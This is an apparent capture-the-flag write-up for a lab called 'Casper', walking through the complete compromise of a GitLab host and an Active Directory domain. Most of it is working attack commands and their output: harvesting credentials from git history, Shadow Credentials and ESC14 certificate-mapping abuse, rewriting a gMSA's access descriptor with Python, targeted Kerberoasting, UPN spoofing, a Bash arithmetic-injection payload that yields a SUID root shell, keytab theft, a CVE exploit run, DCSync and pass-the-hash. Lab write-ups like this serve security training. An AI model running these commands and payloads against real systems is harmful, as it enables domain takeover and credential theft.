Skip to content
BIG$HA crestBIG$HA
All writeups

HackSmarter

Casper

Target Information

Property Value
Domain casper.hsm
DC01 10.0.27.227 — Windows Server 2025 (Build 26100), Domain Controller / ADCS
NIX01 10.0.26.7 — Debian Linux, domain-joined (SSSD), GitLab CE
Flags user.txt (NIX01), root.txt (DC01)

Enumeration

Scanned both in-scope hosts.

nmap -Pn -P -A 10.0.27.227 10.0.26.7

Nmap scan report for 10.0.27.227
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-08-14 11:13:28Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: casper.hsm0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP
3268/tcp open  ldap
3269/tcp open  ssl/ldap
3389/tcp open  ms-wbt-server
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0
| rdp-ntlm-info:
|   DNS_Domain_Name: casper.hsm
|   DNS_Computer_Name: DC01.casper.hsm
|_  Product_Version: 10.0.26100

Nmap scan report for 10.0.26.7
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u10 (protocol 2.0)
80/tcp open  http    nginx
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.0.26.7/users/sign_in

DC01 was the domain controller for casper.hsm. NIX01 was a Linux host running a GitLab instance. With no domain credentials yet, GitLab on NIX01 was the only unauthenticated attack surface.

GitLab Credential Discovery

GitLab’s robots.txt confirmed the product and exposed its route map; I probed the interesting endpoints and found the projects API readable unauthenticated.

for p in /users/sign_in /users/sign_up /explore /help /admin /dashboard /profile /api/v4/version /api/v4/projects /api/v4/users
do
    echo "===== $p ====="
    curl -s -o /dev/null -w "%{http_code} %{redirect_url}\n" "http://10.0.26.7$p"
done
===== /api/v4/version =====
401
===== /api/v4/projects =====
200
===== /api/v4/users =====
403

The public projects API listed one repository owned by xjr.

curl -s 'http://10.0.26.7/api/v4/projects?per_page=100' | jq '.[] | {id, name, path_with_namespace, visibility}'
{
  "id": 4,
  "name": "Domain Joining Unix",
  "path_with_namespace": "xjr/domain-joining-unix",
  "visibility": "public"
}

Cloned it. The working tree only held a README.md, but the git history referenced a deleted file.

git clone http://10.0.26.7/xjr/domain-joining-unix.git
cd domain-joining-unix
git log --all --graph --decorate --oneline
* ef9149d (HEAD -> main, origin/main, origin/HEAD) Delete automationtesting.sh (Broken)
* 34632ad Add new file
* 412ba12 Edit README.md
* 491283c Initial commit

Recovered the deleted script from the earlier commit — it contained hardcoded credentials.

git show 34632ad:automationtesting.sh
#!/bin/bash

DOMAIN="xjr.local"
USER="xjr"
PASS="xjrcat2026!"

echo "$PASS" | realm join --user="$USER" "$DOMAIN"
xjr:xjrcat2026!

Those credentials failed against Active Directory and SSH — this was not the domain password.

nxc ldap 10.0.27.227 -u 'xjr' -p 'xjrcat2026!'
LDAP        10.0.27.227     389    DC01             [-] casper.hsm\xjr:xjrcat2026!

ssh xjr@10.0.26.7
xjr@10.0.26.7: Permission denied (publickey,gssapi-keyex,gssapi-with-mic,password).

They did, however, log into GitLab as xjr.

Authenticated as xjr, a second private project — testing-gitlab — was accessible. Its Testing environment (Operate → Environments) stored deployment configuration in cleartext, including the domain deployment password.

DEBUG=False
AD_SITE=HQ
PROFILE=internal

DEPLOY_HOST=dc01.casper.hsm
DEPLOY_PASS=fFvq52PzJpO98X8!

xjr:fFvq52PzJpO98X8!

Domain Foothold — xjr

DEPLOY_HOST pointed at the DC, so I tested DEPLOY_PASS as xjr’s domain password. It authenticated.

nxc smb 10.0.27.227 -u xjr -p 'fFvq52PzJpO98X8!'
SMB         10.0.27.227     445    DC01             [+] casper.hsm\xjr:fFvq52PzJpO98X8!

Enumerated shares (read-only, nothing unusual) and the domain user list.

nxc smb 10.0.27.227 -u xjr -p 'fFvq52PzJpO98X8!' --users
SMB         10.0.27.227     445    DC01             -Username-                    -Last PW Set-       -BadPW- -Description-
SMB         10.0.27.227     445    DC01             Administrator                 2026-07-27 18:37:59 0       Built-in account
SMB         10.0.27.227     445    DC01             Guest                         <never>             0
SMB         10.0.27.227     445    DC01             krbtgt                        2026-07-26 07:12:58 0
SMB         10.0.27.227     445    DC01             xjr                           2026-07-27 18:38:16 0
SMB         10.0.27.227     445    DC01             jags                          2026-07-27 18:38:30 0
SMB         10.0.27.227     445    DC01             jay                           2026-07-27 18:38:41 0
SMB         10.0.27.227     445    DC01             points                        2026-07-27 18:40:33 0
SMB         10.0.27.227     445    DC01             carlito                       2026-07-28 09:36:44 0

Collected the domain with BloodHound to map xjr’s outbound rights.

bloodhound-python -u xjr -p 'fFvq52PzJpO98X8!' -d casper.hsm -ns 10.0.27.227 -c All
INFO: Found AD domain: casper.hsm
INFO: Found 10 users
INFO: Found 57 groups
INFO: Found 2 computers
INFO: Done in 00M 30S

xjr had AddKeyCredentialLink over jags, who was a member of CASPERCORPCERTIFICATEUSERS — the first link of the chain.

Shadow Credentials — xjr → jags

AddKeyCredentialLink allows a Shadow Credentials attack. I used Certipy’s shadow auto to add a Key Credential to jags, authenticate as it, and recover its NT hash.

certipy-ad shadow auto -u 'xjr@casper.hsm' -p 'fFvq52PzJpO98X8!' -account 'jags' -dc-ip 10.0.27.227
[*] Adding Key Credential with device ID 'd449658d6b954889b217f4fa49378ee6' to the Key Credentials for 'jags'
[*] Authenticating as 'jags' with the certificate
[*] Using principal: 'jags@casper.hsm'
[*] Got TGT
[*] Saving credential cache to 'jags.ccache'
[*] Restoring the old Key Credentials for 'jags'
[*] NT hash for 'jags': 68fc3adf1953f5e6851c0dd297562e08
jags:68fc3adf1953f5e6851c0dd297562e08
nxc smb 10.0.27.227 -u jags -H 68fc3adf1953f5e6851c0dd297562e08
SMB         10.0.27.227     445    DC01             [+] casper.hsm\jags:68fc3adf1953f5e6851c0dd297562e08

ADCS Dead-End

jags’s membership in CASPERCORPCERTIFICATEUSERS suggested a certificate-based escalation, so I searched for vulnerable templates. There were none.

certipy-ad find -u 'jags@casper.hsm' -hashes ':68fc3adf1953f5e6851c0dd297562e08' -dc-ip 10.0.27.227 -vulnerable -enabled -text
[*] Found 34 certificate templates
[*] Found 12 enabled certificate templates
[*] Successfully retrieved CA configuration for 'casper-DC01-CA'

No template flagged as vulnerable. I dropped the certificate-template angle and went back to enumerating writable objects.

ESC14 — xjr → jay (explicit altSecurityIdentities mapping)

bloodyAD get writable showed xjr could write to several user objects, including jay.

bloodyAD -d casper.hsm -u xjr -p 'fFvq52PzJpO98X8!' --host 10.0.27.227 get writable
distinguishedName: CN=xjr,CN=Users,DC=casper,DC=hsm
distinguishedName: CN=jags,CN=Users,DC=casper,DC=hsm
distinguishedName: CN=jay,CN=Users,DC=casper,DC=hsm

Reading the DACL on jay pinned down the exact right: xjr had WriteProperty on the Alt-Security-Identities attribute — the primitive behind ESC14 (explicit certificate mapping).

impacket-dacledit -use-ldaps -action read -principal 'xjr' -target 'jay' -dc-ip 10.0.27.227 -dc-host DC01.casper.hsm 'casper.hsm/xjr:fFvq52PzJpO98X8!'
[*]   ACE[4] info
[*]     ACE Type                  : ACCESS_ALLOWED_OBJECT_ACE
[*]     Access mask               : WriteProperty (0x20)
[*]     Object type (GUID)        : Alt-Security-Identities (00fbf30c-91fe-11d1-aebc-0000f80367c1)
[*]     Trustee (SID)             : xjr (S-1-5-21-247086266-1178499391-1139383971-1104)

The plan: map a certificate I already controlled (jags’s, from the Shadow Credentials step) onto jay via altSecurityIdentities, then authenticate as jay with that certificate. First I pulled the Subject Key Identifier out of jags’s certificate.

openssl pkcs12 -in jags.pfx -clcerts -nokeys -out jags.crt
openssl x509 -in jags.crt -noout -text | grep -A3 -E 'Subject Key Identifier'
            X509v3 Subject Key Identifier:
                4F:60:3D:45:61:A6:D6:59:E0:AE:FF:20:D7:1B:89:0B:39:D1:E5:66

Wrote that SKI into jay’s altSecurityIdentities as an explicit X509:<SKI> mapping.

bloodyAD -d casper.hsm -u xjr -p 'fFvq52PzJpO98X8!' --host 10.0.27.227 set object jay altSecurityIdentities -v 'X509:<SKI>4F603D4561A6D659E0AEFF20D71B890B39D1E566'
[+] jay's altSecurityIdentities has been updated

Authenticating with jags’s PFX but requesting jay now resolved to jay, yielding jay’s TGT and NT hash.

certipy-ad auth -pfx jags.pfx -username jay -domain casper.hsm -dc-ip 10.0.27.227
[*] Using principal: 'jay@casper.hsm'
[*] Got TGT
[*] Saving credential cache to 'jay.ccache'
[*] Got hash for 'jay@casper.hsm': aad3b435b51404eeaad3b435b51404ee:9b88ec231f4f0e5cb7d9edef1f399f6c
jay:9b88ec231f4f0e5cb7d9edef1f399f6c
nxc smb 10.0.27.227 -u jay -H '9b88ec231f4f0e5cb7d9edef1f399f6c'
SMB         10.0.27.227     445    DC01             [+] casper.hsm\jay:9b88ec231f4f0e5cb7d9edef1f399f6c

gMSA Takeover — jay → casper-gmsa$

As jay, the writable set now included the group Managed Service Account casper-gmsa$.

bloodyAD -d casper.hsm -u jay -p ':9b88ec231f4f0e5cb7d9edef1f399f6c' --host 10.0.27.227 get writable
distinguishedName: CN=jay,CN=Users,DC=casper,DC=hsm
distinguishedName: CN=casper-gmsa,CN=Managed Service Accounts,DC=casper,DC=hsm

The specific right was WriteProperty on ms-DS-GroupMSAMembership — the attribute controlling who may read the gMSA’s managed password.

impacket-dacledit -use-ldaps -action read -principal 'jay' -target 'casper-gmsa$' -dc-ip 10.0.27.227 -dc-host DC01.casper.hsm -hashes ':9b88ec231f4f0e5cb7d9edef1f399f6c' 'casper.hsm/jay'
[*]   ACE[1] info
[*]     Access mask               : WriteProperty (0x20)
[*]     Object type (GUID)        : ms-DS-GroupMSAMembership (888eedd6-ce04-df40-b462-b8a50e41ba38)
[*]     Trustee (SID)             : jay (S-1-5-21-247086266-1178499391-1139383971-1106)

Initially jay could not read the password.

nxc ldap 10.0.27.227 -u jay -H 9b88ec231f4f0e5cb7d9edef1f399f6c -d casper.hsm --gmsa
LDAPS       10.0.27.227     636    DC01             Account: casper-gmsa$   NTLM: <no read permissions>   PrincipalsAllowedToReadPassword: []

I built a security descriptor granting jay full rights and wrote it into msDS-GroupMSAMembership.

from impacket.ldap import ldaptypes
from base64 import b64encode

sid = 'S-1-5-21-247086266-1178499391-1139383971-1106'

sd = ldaptypes.SR_SECURITY_DESCRIPTOR()
sd['Revision'] = b'\x01'
sd['Sbz1'] = b'\x00'
sd['Control'] = 0x8004
sd['OwnerSid'] = ldaptypes.LDAP_SID()
sd['OwnerSid'].fromCanonical(sid)
sd['GroupSid'] = b''
sd['Sacl'] = b''

acl = ldaptypes.ACL()
acl['AclRevision'] = 4
acl['Sbz1'] = 0
acl['Sbz2'] = 0
acl.aces = []

ace = ldaptypes.ACE()
ace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE
ace['AceFlags'] = 0
acedata = ldaptypes.ACCESS_ALLOWED_ACE()
acedata['Mask'] = ldaptypes.ACCESS_MASK()
acedata['Mask']['Mask'] = 0x000F01FF
acedata['Sid'] = ldaptypes.LDAP_SID()
acedata['Sid'].fromCanonical(sid)
ace['Ace'] = acedata
acl.aces.append(ace)

sd['Dacl'] = acl
print(b64encode(sd.getData()).decode())
bloodyAD -d casper.hsm -u jay -p ':9b88ec231f4f0e5cb7d9edef1f399f6c' --host 10.0.27.227 set object 'casper-gmsa$' msDS-GroupMSAMembership --raw --b64 -v 'AQAEgEAAAAAAAAAAAAAAABQAAAAEACwAAQAAAAAAJAD/AQ8AAQUAAAAAAAUVAAAAujy6Dj95PkajnulDUgQAAAEFAAAAAAAFFQAAALo8ug4/eT5Go57pQ1IEAAA='
[+] casper-gmsa$'s msDS-GroupMSAMembership has been updated

jay could now read the gMSA’s NTLM hash.

nxc ldap 10.0.27.227 -u jay -H 9b88ec231f4f0e5cb7d9edef1f399f6c -d casper.hsm --gmsa
LDAPS       10.0.27.227     636    DC01             Account: casper-gmsa$   NTLM: 7abcd8de1d2e107237f8fd5baea13d68   PrincipalsAllowedToReadPassword: jay
casper-gmsa$:7abcd8de1d2e107237f8fd5baea13d68
nxc smb 10.0.27.227 -u 'casper-gmsa$' -H 7abcd8de1d2e107237f8fd5baea13d68
SMB         10.0.27.227     445    DC01             [+] casper.hsm\casper-gmsa$:7abcd8de1d2e107237f8fd5baea13d68

Targeted Kerberoast — casper-gmsa$ → carlito

casper-gmsa$ had GenericWrite over carlito, enabling a targeted Kerberoast: assign a Service Principal Name to carlito, roast it, then crack the ticket offline.

bloodyAD -d casper.hsm -u 'casper-gmsa$' -p ':7abcd8de1d2e107237f8fd5baea13d68' --host 10.0.27.227 set object carlito servicePrincipalName -v 'HTTP/carlito.casper.hsm'
[+] carlito's servicePrincipalName has been updated

Requested the service ticket using jay’s cached TGT.

export KRB5CCNAME=$PWD/jay.ccache
impacket-GetUserSPNs -k -no-pass -dc-ip 10.0.27.227 -request casper.hsm/jay
ServicePrincipalName     Name     PasswordLastSet             Delegation
-----------------------  -------  --------------------------  ----------
HTTP/carlito.casper.hsm  carlito  2026-07-28 09:36:44.647444

$krb5tgs$23$*carlito$CASPER.HSM$casper.hsm/carlito*$f75a4990c4e5a0cfd201b5cd67f4dc4d$251252dd45b3ac346ad60ca9ebd474e6a1613b527b91a1b036234ae6932039ae...eb6d43

Cracked it with rockyou.

hashcat -m 13100 carlito.hash rockyou.txt
$krb5tgs$23$*carlito$CASPER.HSM$casper.hsm/carlito*...eb6d43:casper88!
Status...........: Cracked
carlito:casper88!
nxc smb 10.0.27.227 -u carlito -p 'casper88!'
SMB         10.0.27.227     445    DC01             [+] casper.hsm\carlito:casper88!

Lateral Movement to NIX01 — carlito → points

carlito authenticated to the DC but had no obvious path forward, and could not SSH into NIX01: the SSSD policy on that host only allows the srv_admins group, which carlito was not in. The domain user points was.

Since casper-gmsa$ could still write to carlito, I rewrote carlito’s userPrincipalName to points, then requested an enterprise-principal TGT for points using carlito’s password. Kerberos matched the spoofed UPN and issued a ticket resolving to the points identity.

bloodyAD --host 10.0.27.227 -d casper.hsm -u 'casper-gmsa$' -p ':7abcd8de1d2e107237f8fd5baea13d68' set object carlito userPrincipalName -v 'points'
[+] carlito's userPrincipalName has been updated

impacket-getTGT casper.hsm/points:'casper88!' -principalType NT_ENTERPRISE
[*] Saving ticket in points.ccache

Generated a matching krb5 config and used the ticket to SSH into NIX01 over GSSAPI.

sudo nxc smb dc01.casper.hsm -u carlito -p 'casper88!' --smb-timeout 5 --generate-krb5-file krb5.conf

export KRB5CCNAME=points.ccache
export KRB5_CONFIG=krb5.conf
ssh points@10.0.26.7 -K

Last login: Sun Aug 23 16:59:04 2026 from 10.0.0.247
points@ip-10-0-26-7:~$ id
uid=107801108(points) gid=107800513(domain users) groups=107800513(domain users),107801110(srv_admins)

The user flag was in points’s home directory.

points@ip-10-0-26-7:~$ cat user.txt
HSM{1Fr34k1ngL0v3C4ts.}

Privilege Escalation on NIX01 — points → root

points had a passwordless sudo entry for a single script.

points@ip-10-0-26-7:~$ sudo -l
User points may run the following commands on ip-10-0-26-7:
    (root) NOPASSWD: /opt/routine_cleanup.sh

The script read a menu selection into $mode and tested it with arithmetic -eq comparisons.

main() {
    print_banner
    print_menu
    read mode

    if [[ "$mode" -eq 1 ]]; then
        temp_cleanup
    elif [[ "$mode" -eq 2 ]]; then
        cache_cleanup
    elif [[ "$mode" -eq 3 ]]; then
        report_and_prune
    else
        printf '[!] Invalid mode selected\n'
        exit 1
    fi
}
main "$@"

In an arithmetic context, Bash evaluates the operand as an expression, so an array-subscript payload triggers command substitution — executed as root. I confirmed code execution first.

points@ip-10-0-26-7:~$ sudo /opt/routine_cleanup.sh
Select mode: x[$(id > /tmp/root-proof)]
[!] Invalid mode selected

points@ip-10-0-26-7:~$ cat /tmp/root-proof
uid=0(root) gid=0(root) groups=0(root)

Then dropped a SUID-root shell.

points@ip-10-0-26-7:~$ sudo /opt/routine_cleanup.sh
Select mode: x[$(cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash)]
[!] Invalid mode selected

points@ip-10-0-26-7:~$ /tmp/rootbash -p
rootbash-5.2# id
uid=107801108(points) gid=107800513(domain users) euid=0(root) groups=...

Root on NIX01. The objective now shifted to reaching DC01.

NIX01 → DC01 — machine account to Domain Compromise

As root, the domain machine account keytab was readable. Its arcfour key is the NIX01$ NT hash.

rootbash-5.2# klist -kte /etc/krb5.keytab
KVNO Timestamp         Principal
   2 07/26/26 09:05:03 NIX01$@CASPER.HSM (DEPRECATED:arcfour-hmac)
   2 07/26/26 09:05:03 host/NIX01@CASPER.HSM (aes256-cts-hmac-sha1-96)

I obtained a TGT for the machine account from the keytab, copied the ccache off the host, and confirmed NIX01$ could write to its own computer object.

rootbash-5.2# kinit -k -t /etc/krb5.keytab 'NIX01$@CASPER.HSM'
rootbash-5.2# klist
Default principal: NIX01$@CASPER.HSM
Valid starting     Expires            Service principal
08/23/26 17:21:38  08/24/26 03:21:38  krbtgt/CASPER.HSM@CASPER.HSM
scp points@nix01.casper.hsm:/tmp/nix01.ccache ./nix01.ccache
export KRB5_CONFIG="$PWD/krb5.conf"
export KRB5CCNAME="$PWD/nix01.ccache"

bloodyAD -d casper.hsm -u 'NIX01$' -k --host DC01.casper.hsm get writable
distinguishedName: CN=NIX01,CN=Computers,DC=casper,DC=hsm
permission: CREATE_CHILD; WRITE

The final step used CVE-2026-54121 (“CertiGhost”), which abuses a machine account plus a rogue LSA/LDAP server to coerce the CA into issuing a certificate for DC01$. The NIX01$ NT hash for the exploit came from the keytab (0cf15e4eee91372abddec89ec40e636e). The first run was rejected by the CA policy module.

git clone https://github.com/aniqfakhrul/CVE-2026-54121.git
cd CVE-2026-54121

sudo python3 certighost.py -d casper.hsm -u xjr -p 'fFvq52PzJpO98X8!' --dc-ip 10.0.27.227 --computer-name 'nix01$' --computer-hash '0cf15e4eee91372abddec89ec40e636e'
[*] Requesting certificate (template=Machine, cdc=10.200.81.151)
[!] Failed: Cert request denied (0x800706ba): Denied by Policy Module

After reinstalling Impacket from upstream, the exploit succeeded — issuing a DC01$ certificate, PKINIT’ing as the DC, and recovering the DC machine account hash.

sudo python3 certighost.py -d casper.hsm -u xjr -p 'fFvq52PzJpO98X8!' --dc-ip 10.0.27.227 --computer-name 'nix01$' --computer-hash '0cf15e4eee91372abddec89ec40e636e'
[*]     Target: DC01$ | SID: S-1-5-21-247086266-1178499391-1139383971-1000
[*] Requesting certificate (template=Machine, cdc=10.200.81.151)
    Saved: dc01.pfx
[*] PKINIT as DC01$
[*] Got hash for DC01$:
    DC01$:aad3b435b51404eeaad3b435b51404ee:55a83395647a19e6a1775834018e2708
    ccache: dc01.ccache
[*] GGWP

With the DC computer account, I DCSync’d the domain.

impacket-secretsdump casper.local/'dc01$'@dc01.casper.hsm -hashes ':55a83395647a19e6a1775834018e2708'
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:bcbc89c6b432121c9aadb39395d4a9cc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:751239c0c4a6a50026befae0198cbd7d:::
casper.hsm\xjr:1104:aad3b435b51404eeaad3b435b51404ee:dc98b3d4818ccb76428769f7f6340b0c:::
casper.hsm\jags:1105:aad3b435b51404eeaad3b435b51404ee:68fc3adf1953f5e6851c0dd297562e08:::
casper.hsm\jay:1106:aad3b435b51404eeaad3b435b51404ee:9b88ec231f4f0e5cb7d9edef1f399f6c:::
casper.hsm\points:1108:aad3b435b51404eeaad3b435b51404ee:1637122b811f181857726417979aab92:::
points\carlito:1109:aad3b435b51404eeaad3b435b51404ee:16a366acd9634ee5f958ebf1b4fc11df:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:55a83395647a19e6a1775834018e2708:::
NIX01$:1103:aad3b435b51404eeaad3b435b51404ee:0cf15e4eee91372abddec89ec40e636e:::
casper-gmsa$:1111:aad3b435b51404eeaad3b435b51404ee:7abcd8de1d2e107237f8fd5baea13d68:::
[*] Cleaning up...
Administrator:bcbc89c6b432121c9aadb39395d4a9cc

Pass-the-hash into the DC as Administrator and read the root flag.

evil-winrm -i dc01.casper.hsm -u Administrator -H 'bcbc89c6b432121c9aadb39395d4a9cc'
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
casper\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ../Desktop/root.txt
HSM{Sp00kySc4ryC3rt1Gh0st}

Attack Path Summary

GitLab (NIX01:80) — public API → xjr/domain-joining-unix
↓
git history → deleted automationtesting.sh → xjr:xjrcat2026! (GitLab login only)
↓
GitLab testing-gitlab "Testing" environment → DEPLOY_PASS=fFvq52PzJpO98X8! (xjr domain password)
↓
xjr → AddKeyCredentialLink → jags   (Shadow Credentials → jags hash)
↓
xjr → WriteProperty altSecurityIdentities → jay   (ESC14, map jags cert → jay → jay hash)
↓
jay → WriteProperty ms-DS-GroupMSAMembership → casper-gmsa$   (read gMSA hash)
↓
casper-gmsa$ → GenericWrite → carlito   (targeted Kerberoast → casper88!)
↓
rewrite carlito UPN → points → enterprise-principal TGT → SSH NIX01 as points (srv_admins) → user.txt
↓
sudo /opt/routine_cleanup.sh (Bash arithmetic injection) → root on NIX01
↓
/etc/krb5.keytab → NIX01$ TGT/hash → CVE-2026-54121 (CertiGhost) → DC01$ hash
↓
DCSync → Administrator NT hash → Evil-WinRM → root.txt

Credentials Found

Principal Credential Source
xjr (GitLab) xjrcat2026! Deleted automationtesting.sh in git history
xjr (domain) fFvq52PzJpO98X8! GitLab testing-gitlab Testing environment (DEPLOY_PASS)
jags 68fc3adf1953f5e6851c0dd297562e08 (NT) Shadow Credentials via xjr
jay 9b88ec231f4f0e5cb7d9edef1f399f6c (NT) ESC14 explicit cert mapping
casper-gmsa$ 7abcd8de1d2e107237f8fd5baea13d68 (NT) gMSA managed password read via jay
carlito casper88! Targeted Kerberoast (cracked)
points Kerberos ticket (via carlito UPN swap) Enterprise-principal TGT
NIX01$ 0cf15e4eee91372abddec89ec40e636e (NT) /etc/krb5.keytab (root on NIX01)
DC01$ 55a83395647a19e6a1775834018e2708 (NT) CVE-2026-54121 (CertiGhost)
Administrator bcbc89c6b432121c9aadb39395d4a9cc (NT) DCSync

Tools Used

  • Nmap
  • curl / jq
  • Git
  • NetExec
  • BloodHound / bloodhound-python
  • Certipy
  • bloodyAD
  • impacket (dacledit, GetUserSPNs, getTGT, secretsdump)
  • OpenSSL
  • Hashcat
  • CVE-2026-54121 (CertiGhost)
  • Evil-WinRM